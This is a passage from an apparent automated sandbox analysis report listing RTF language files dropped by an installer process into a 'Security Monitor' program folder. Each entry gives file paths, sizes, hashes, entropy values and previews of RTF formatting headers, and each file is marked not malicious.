Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\fswiss\fprq0\fcharset128 Calibri;}{\f6\froman\fprq0\fcharset128 Tahoma;}{\f7\froman\fprq0\fcharset128 Calibri;}{\f8\froman\fprq2\fcharset128 Arial;}{\f9\froman\fprq0\fcharset128 Arial;}{\f10\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f11\fnil\fprq2\fcharset128 Lohit Hindi;}{\f12\fnil\fprq0\fcharset128 Lohit Hindi;}{\f13\fnil\fprq0\fcharset128 Times New Roman;}{\f14\fnil\fprq0\fcharset128 Courier New Baltic;}{\f15\fnil\fprq2\fcharset128 Arial;}{\f16\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af10\langfe2052\dbch\af11\afs24\alang1081\loch\f3\fs24\lang1040

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-6MKTA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	6776
Entropy (8bit):	4.952214417097897
Encrypted:	false
SSDEEP:	192:su76z6C6D6E6f6E6O6Y6K222K2a2O2G2y2E2+2PuADGE7lqWiNBXa98XP00PDDP:X6z6C6D6E6f6E6O6Y6K222K2a2O2G2yp
MD5:	1BD6D948821BAAD56E7BD929CE99BC3E
SHA1:	87753F34928DF1FDCE8D2AE17A734E2D032B7392
SHA-256:	179807CC391D4A379560F1E9119C44DBD0F8BABD7C9581758DDFD2C24D15CCA5
SHA-512:	CD8934815BBF3C6AA344CEDCA40732E4428DECC0F122F124B3AECD1720BA89A7D5A9BA0EE8AE4675C57C56B3ABFC44BB2AF2A868111ED7D23D156BCEAF0D6ADF
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq2\fcharset128 Arial;}{\f6\froman\fprq0\fcharset128 Arial;}{\f7\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f8\fnil\fprq2\fcharset128 Lohit Hindi;}{\f9\fnil\fprq0\fcharset128 Lohit Hindi;}{\f10\fnil\fprq2\fcharset128 Arial;}{\f11\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af7\langfe2052\dbch\af8\afs24\alang1081\loch\f3\fs24\lang1040 Predefinito;}.{\s15\sbasedon0\snext16\sb240\sa120\keepn\hich\af7\dbch\af8\afs28\loch\f4\fs28 Intestazione;}.{\s16\sbasedon0\snext16\sb0\sa120 Corpo testo;}.{\s17\sbasedon16\snext17\sb0\sa120\dbch\af9 Elenco;}.{\s18\

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-7E8CR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	64122
Entropy (8bit):	5.005532059876539
Encrypted:	false
SSDEEP:	768:2NFM7S0LzLpzBDlmvMuLoPxsMOaWAebaTkPYxmjyzZNBPirmqCadCg0WOxuiOQYX:2N4Sqse5bhHsTs64pPIA98
MD5:	20DED089CE49980F6BA7C2DDFBB4A359
SHA1:	A80EB4246514293DC65C07621B04DB34434DA4FB
SHA-256:	7644F6129405227CC015DC574D41769A25B147A33792008A3BC97D6CA2B31F84
SHA-512:	6863BF40030EE2FA1274103F637F1C8BD0601C5CF9C4EBE6684F13B7F1628B865D7297D464DD623CE50F7C0DFAB9B52CB42E8E6F6843D859469377DBFE68E5B5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f39\fbidi \froman\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Serif{\\falt MS PMincho};}{\f40\fbidi \fswiss\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Sans{\\falt Arial};}..{\f41\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}WenQuanYi Micro Hei{\\falt MS Mincho};}{\f42\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}Lohit Hindi{\\falt MS Mincho};}..{\f43\fbidi \fnil\fcharset128\fprq2{\*\panose 00000000000000000000}@Wen

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-7TL78.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	10281
Entropy (8bit):	4.953685836066729
Encrypted:	false
SSDEEP:	192:6L1GSkFI222K2a2O2G2y2E2+2L6z6C6D6E6f6E6O6Y6Y9jn9js9j39jX9jR9jp9S:0sFI222K2a2O2G2y2E2+2L6z6C6D6E6Z
MD5:	8D669B205AF7D1401C340D474FADE116
SHA1:	C61F519EF768F519E93F456D61FCEFE93EF1A058
SHA-256:	2B01786D3BA405BAA36920EF092701AF28CEA08F56507D4DE9717D47474C3B65
SHA-512:	0697175789BE81C29F0FBB5DD815FB46B553A6D241D8936C0E29F95D23651A2B730A893B98C90F6F3494B93FF0144F05DE95DB24D089EC01084C0FC8E36B3F70
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\fswiss\fprq0\fcharset128 Calibri;}{\f6\froman\fprq0\fcharset128 Tahoma;}{\f7\froman\fprq0\fcharset128 Calibri;}{\f8\froman\fprq2\fcharset128 Arial;}{\f9\froman\fprq0\fcharset128 Arial;}{\f10\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f11\fnil\fprq2\fcharset128 Lohit Hindi;}{\f12\fnil\fprq0\fcharset128 Lohit Hindi;}{\f13\fnil\fprq0\fcharset128 Times New Roman;}{\f14\fnil\fprq0\fcharset128 Courier New Baltic;}{\f15\fnil\fprq2\fcharset128 Arial;}{\f16\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af10\langfe2052\dbch\af11\afs24\alang1081\loch\f3\fs24\lang1040

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-GCRSF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	37355
Entropy (8bit):	5.0224273603988925
Encrypted:	false
SSDEEP:	768:2rF4DO6zLpzBMRQ1W7MiynhCGm7aVZ/6A9a:2raD7IA9a
MD5:	72215D6BB69B80AD421E5FBEC9CEE983
SHA1:	4DC407E1BF25A18F3C9B2F2E94440D3A0AC505D8
SHA-256:	0B1A02997F8DC944153BBEA47C302C3A155B1363A2A4F6A23218EB1BA9D1ACD8
SHA-512:	D1F1409D1E0946F84F3D3D3FBBB90BB23195A84402E0DA16A102C62E1198F28AB80046E805A3B4CAAD0B61039E07B57350133F1E0DCB3142A0B2487F1F1174B4
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f39\fbidi \froman\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Serif{\\falt Times New Roman};}..{\f40\fbidi \fswiss\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Sans{\\falt Arial};}{\f41\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}WenQuanYi Micro Hei{\\falt MS Mincho};}..{\f42\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}Lohit Hindi{\\falt MS Mincho};}{\f315\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}@WenQuanYi Micro Hei;}..{\f316\fbidi \froman\fcharset128\fprq2{\*\panose 0

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-HJMQK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	7640
Entropy (8bit):	4.942902125699651
Encrypted:	false
SSDEEP:	192:6L1GSkFI222K2a2O2G2y2E2+2L6z6C6D6E6f6E6O6Y60yM4Nr2R7sB4OYWkXp+Mm:0sFI222K2a2O2G2y2E2+2L6z6C6D6E6u
MD5:	58A7AD4E00C3C48CAC983EAB83D93722
SHA1:	16790F7FED7A5490C15C6A25CD9851B4953E4CF0
SHA-256:	AE872798A7D87EFC10BA3FC5FE65CB5539F84548163F6DB7278705CE4802A0D4
SHA-512:	D609EA322D6AEF1C3EF5E38C749B9C9D168F9865111ACB8F2408D752C20CCE5E5658CD08EB5D2FE79E4627FC0290B33B0D73858FCC821A9D9981009E27EA96C1
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\fswiss\fprq0\fcharset128 Calibri;}{\f6\froman\fprq0\fcharset128 Tahoma;}{\f7\froman\fprq0\fcharset128 Calibri;}{\f8\froman\fprq2\fcharset128 Arial;}{\f9\froman\fprq0\fcharset128 Arial;}{\f10\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f11\fnil\fprq2\fcharset128 Lohit Hindi;}{\f12\fnil\fprq0\fcharset128 Lohit Hindi;}{\f13\fnil\fprq0\fcharset128 Times New Roman;}{\f14\fnil\fprq0\fcharset128 Courier New Baltic;}{\f15\fnil\fprq2\fcharset128 Arial;}{\f16\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af10\langfe2052\dbch\af11\afs24\alang1081\loch\f3\fs24\lang1040

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-JCAU4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	7403
Entropy (8bit):	4.92938927718366
Encrypted:	false
SSDEEP:	192:su76z6C6D6E6f6E6O6Y6K222K2a2O2G2y2E2+2tuADuEXu6mp49T20l49D7D7DP:X6z6C6D6E6f6E6O6Y6K222K2a2O2G2yx
MD5:	3D3D6A046CC73D49EA8D98E66103EBC5
SHA1:	3F3F6AD63BEE3F893EE2F57AF6D261AFD0A8C639
SHA-256:	344EBAAFF1EC7B1BF2A627DD9A5F1B0D3C5D968F23ADA7D6A7175767B29AF483
SHA-512:	405236F4E6F223EFD593A22047B79156ED9695DDE0EB4BB4261891375C3FE586251AD3E9EE9EDF914AC02AB7C51887F16A5897915B0BEE8CC708CF6B116D9342
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq2\fcharset128 Arial;}{\f6\froman\fprq0\fcharset128 Arial;}{\f7\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f8\fnil\fprq2\fcharset128 Lohit Hindi;}{\f9\fnil\fprq0\fcharset128 Lohit Hindi;}{\f10\fnil\fprq2\fcharset128 Arial;}{\f11\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af7\langfe2052\dbch\af8\afs24\alang1081\loch\f3\fs24\lang1040 Predefinito;}.{\s15\sbasedon0\snext16\sb240\sa120\keepn\hich\af7\dbch\af8\afs28\loch\f4\fs28 Intestazione;}.{\s16\sbasedon0\snext16\sb0\sa120 Corpo testo;}.{\s17\sbasedon16\snext17\sb0\sa120\dbch\af9 Elenco;}.{\s18\

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-JQGJ6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	9031
Entropy (8bit):	4.942487008032181
Encrypted:	false
SSDEEP:	192:6L1GSkFI222K2a2O2G2y2E2+2L6z6C6D6E6f6E6O6Y6Y9jn9js9j39jX9jR9jp9v:0sFI222K2a2O2G2y2E2+2L6z6C6D6E6Q
MD5:	140A646744F5CA2B77DC3CCAB81BE3E9
SHA1:	57D15787E167C9284D0A57DE074749A8A10D6267
SHA-256:	FACA864E826FC4333E1C6D8726C97446A824856214E302B154757A0071BB0666
SHA-512:	F00406EA7C8EDA722707892A86C72A1331F1DEB007A78F34CC27A3B6175D3737AF9DA542F926313644B1CF0D8BAE087529196DBEEC4C7AE6EA3BCD5CE42D0F0F
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\fswiss\fprq0\fcharset128 Calibri;}{\f6\froman\fprq0\fcharset128 Tahoma;}{\f7\froman\fprq0\fcharset128 Calibri;}{\f8\froman\fprq2\fcharset128 Arial;}{\f9\froman\fprq0\fcharset128 Arial;}{\f10\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f11\fnil\fprq2\fcharset128 Lohit Hindi;}{\f12\fnil\fprq0\fcharset128 Lohit Hindi;}{\f13\fnil\fprq0\fcharset128 Times New Roman;}{\f14\fnil\fprq0\fcharset128 Courier New Baltic;}{\f15\fnil\fprq2\fcharset128 Arial;}{\f16\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af10\langfe2052\dbch\af11\afs24\alang1081\loch\f3\fs24\lang1040

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-KDLM5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	9082
Entropy (8bit):	4.946432574686308
Encrypted:	false
SSDEEP:	192:I2KrPDFr222K2a2O2G2y2E2+2L9jn9js9j39jX9jR9jp9j+9j79ja6z6C6D6E6fp:7Q5r222K2a2O2G2y2E2+2L9jn9js9j3u
MD5:	54A49395929B70CCABC6247E0EA0F779
SHA1:	E522282035DAFE7216BF45CC21762172914D5949
SHA-256:	544C05722BA2824B871D8DC37CC442BF791C266F0E90D96C9A06BF3195D90AFA
SHA-512:	8111740D216DC20333574D61B4C3B39288846315B1EC0214E91B9633D5B48AF8EDF51C77432D0D1FAB10B961D81E6AA4ED981661D37E41DF3E9DD05C9B746DB4
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq2\fcharset128 Arial;}{\f6\froman\fprq0\fcharset128 Arial;}{\f7\froman\fprq2\fcharset128 Arial CYR;}{\f8\froman\fprq0\fcharset128 Arial CYR;}{\f9\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f10\fnil\fprq2\fcharset128 Lohit Hindi;}{\f11\fnil\fprq0\fcharset128 Lohit Hindi;}{\f12\fnil\fprq0\fcharset128 Times New Roman;}{\f13\fnil\fprq2\fcharset128 Arial;}{\f14\fnil\fprq0\fcharset128 Arial;}{\f15\fnil\fprq2\fcharset128 Cambria Math;}{\f16\fnil\fprq0\fcharset128 Cambria Math;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af9\langfe2052\dbch\af10\afs24\alang1081\loch\f3\fs24\lang104

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-L8314.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	17786
Entropy (8bit):	4.892369802650086
Encrypted:	false
SSDEEP:	384:TQ5h222K2a2O2G2y2E2+2L6z+CSD6E+fSE6O+YSY6z+CSD6E+fSE6O+YSS6z6C6w:TQ5h7HvTrbVLWsXixqh/1JsXixqh/1X+
MD5:	B7BE54FA07192D11B0624600C99D449E
SHA1:	372509E74C98F5BAE5A50088B4AA1B18711C834F
SHA-256:	0F599243F6282C72AAC90EEF278B4F7BD5B78161508E494ABAC24E719702DDDB
SHA-512:	20C131AE058B058F60D97E21D7E49BAB6FEC975229AFF7302F6559975CEA91F81130F8D1C15E7200A53A61AFB935FE7B3D608838AA0190A42D09D02C168CFE1C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq0\fcharset128 Calibri;}{\f6\froman\fprq2\fcharset128 Arial;}{\f7\froman\fprq0\fcharset128 Arial;}{\f8\froman\fprq2\fcharset128 Calibri;}{\f9\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f10\fnil\fprq2\fcharset128 Lohit Hindi;}{\f11\fnil\fprq0\fcharset128 Lohit Hindi;}{\f12\fnil\fprq0\fcharset128 Times New Roman;}{\f13\fnil\fprq2\fcharset128 Arial;}{\f14\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red255\green0\blue0;\red0\green32\blue96;\red35\green0\blue220;\red0\green69\blue134;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af9\langfe2052\dbch\af10\afs24\alang1081\loch\f3\fs24\lang1040 Pr

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-P8V34.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	47653
Entropy (8bit):	5.01810800814238
Encrypted:	false
SSDEEP:	768:2rFexbO6zLpzBDlmvTpIq7GHAR1BgpGk1WhWHi2mM47g0qO2ug04+2WNvg0tQ5qD:2rYbRs7d9ZvIA9t
MD5:	6E75BBD29A0618A73B2937F650F0F678
SHA1:	93EDB94323E37DDD1EC717F4A492442B6B611E3B
SHA-256:	718470BBCEF949095939C54CECB91D117D255A5279D55A204664CE52D1235180
SHA-512:	91C452D52360B231869031CB61255E83AF5D95D0F8C3A2AA0419AF659766E6E1CF4FD16FCE7C85A5EA5164E05C84282D0AA019FCAD85E292BE6D71400FA5D88E
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f39\fbidi \froman\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Serif{\\falt MS PMincho};}{\f40\fbidi \fswiss\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Sans{\\falt Arial};}..{\f41\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}WenQuanYi Micro Hei{\\falt MS Mincho};}{\f42\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}Lohit Hindi{\\falt MS Mincho};}..{\f315\fbidi \fnil\fcharset128\fprq2{\*\panose 00000000000000000000

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-QKG8H.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	76355
Entropy (8bit):	4.982630349215747
Encrypted:	false
SSDEEP:	768:KewXZEMuTyIT+TWkN+3vMHRYRv0lTiHRYRv0lTiHRYRv0lHiHRYRv0leUE/lLr/6:KeMEZgIA9C
MD5:	0DD30E30324435D32C3336875F79F308
SHA1:	6F38100EBA73AAD482B1B290FF5C21DD0C3AA692
SHA-256:	D9939A99B67D9267B439373CC44EE14A10432AF1BB3AEB6EBBDDE1839EDCBD99
SHA-512:	62513A5EDAF36F0D69A9519F74795659493A1B0C9B9E662D0AF4C15A7F68043F6C3A2F9231D9C949572D787524448C8F31B4A6AE9D242FB28758BA084C3B9545
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch11\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f11\fbidi \fmodern\fcharset128\fprq1{\\panose 02020609040205080304}MS Mincho{\\falt ?l?r ??\'81\'66c};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f39\fbidi \froman\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Serif{\\falt MS PMincho};}..{\f40\fbidi \fswiss\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Sans{\\falt Arial};}{\f41\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}WenQuanYi Micro Hei{\\falt MS Mincho};}..{\f42\fbidi \fnil\fcharset128\fprq2{\*\panose 00000000000000000000

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-R3MGE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	11858
Entropy (8bit):	4.924418755277587
Encrypted:	false
SSDEEP:	192:F9jmDF3222K2a2O2G2y2E2+2L6z6C6D6E6f6E6O6Y6goaB7lE9mNUrloY1gTEzGS:Hq53222K2a2O2G2y2E2+2L6z6C6D6E6u
MD5:	D6E34C937850FDC0AB38B06FE809B95C
SHA1:	A4480E9E250F5C3DC5BDD69696AB9F6EB12E8A56
SHA-256:	355420286A6BCDB2190129A5507012B55DC41FB0660ACE771D09F6E60FAFA173
SHA-512:	47F77867C8A5746DF79A29ABA70360BB2DF54F41C08B4B15E831421F76F24DC6B6AF0EE837084E5DDED8DAE3B549AD3236B5D668852BF357F990244FCE2E9D05
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq2\fcharset128 Arial;}{\f6\froman\fprq0\fcharset128 Arial;}{\f7\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f8\fnil\fprq2\fcharset128 Lohit Hindi;}{\f9\fnil\fprq0\fcharset128 Lohit Hindi;}{\f10\fnil\fprq0\fcharset128 Times New Roman;}{\f11\fnil\fprq2\fcharset128 Arial;}{\f12\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red255\green0\blue0;\red54\green95\blue145;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af7\langfe2052\dbch\af8\afs24\alang1081\loch\f3\fs24\lang1040 Predefinito;}.{\s2\sbasedon15\snext16\ilvl1\outlinelevel1\ql\widctlpar\faauto\li0\ri0\lin0\rin0\fi0\sb100\sa100\keepn\b\hich\

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-RNJ6A.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	10431
Entropy (8bit):	4.953862205312216
Encrypted:	false
SSDEEP:	192:su79jU9jV9jW9ju9j89jM9j39jO9jR6z6C6D6E6f6E6O6Y6Y222K2a2O2G2y2E2S:X9jU9jV9jW9ju9j89jM9j39jO9jR6z6o
MD5:	F253166C14180CDA4CF3682EBDA81E10
SHA1:	42CB7285AE2A1D8FFFBDB8E92DD762F116E6E5E7
SHA-256:	21604302E29A98F4F73EB4DD22C1B3FD52840C05B9438769E8568E69A2AD6890
SHA-512:	26EF9FFCDBE8D66B92954FA2DC046B7049B772B789BD4192D62CCDEA211D613413B241E1527396FCCF6087B041A526641C9D12F5C29810637C42AFF812A15061
Malicious:	false
Reputation:	unknown
